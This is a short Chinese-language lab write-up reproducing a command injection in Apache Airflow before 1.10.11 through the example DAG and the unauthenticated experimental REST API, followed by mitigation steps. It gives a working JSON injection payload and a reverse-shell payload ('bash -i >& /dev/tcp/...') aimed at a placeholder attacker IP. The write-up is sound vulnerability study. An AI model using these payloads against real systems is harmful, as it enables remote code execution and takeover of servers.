命令注入漏洞
docker-compose run airflow-init
docker-compose up -d
哇真有点卡
影响版本
1.10.11之前
该示例利用了容易受到命令注入攻击的示例 DAG,该示例使用的是默认公开的试验性 REST API,即使网络接口设置了身份验证也是如此。
复现
访问
将这个改为on
选择Trigger DAG
{"message":"'\";touch /tmp/airflow_dag_success;#"}
执行成功会在靶机上的改路径创建一个airflow_dag_success文件
点击Trigger
到CeleryWorker容器中进行查看
docker-compose exec airflow-worker ls -l /tmp
可以看到执行成功
尝试反弹shell
{"message":"'\";bash -i >& /dev/tcp/攻击机ip/7777 0>&1;#"}
这里是成功了
防护措施
删除示例 DAG
如果通过在配置中设置 load_examples=False 已禁用示例,则不会受到攻击。您可以更新到 >=1.10.11 或删除易受攻击的 DAG,即 <1.10.11 的 example_trigger_target_dag。
拒绝访问实验性 API
如果您使用 >=1.10.11 启动新的 Airflow 实例,则默认情况下已在 airflow.cfg 中为 auth_backend 设置了 deny_all。
[api]
auth_backend = airflow.api.auth.backend.deny_all
请注意,即使在 >=1.10.11 时,airflow.api.auth.backend.default 仍允许对 API 发起未经验证的请求。因此,如果您有一个 auth_backend = airflow.api.auth.backend.default 的现有 Airflow 实例,那么即使升级到 >=1.10.11,REST API 仍然是公开的。
对于 >=2.0.0,实验 API 已禁用,但拥有功能更强大的稳定 API。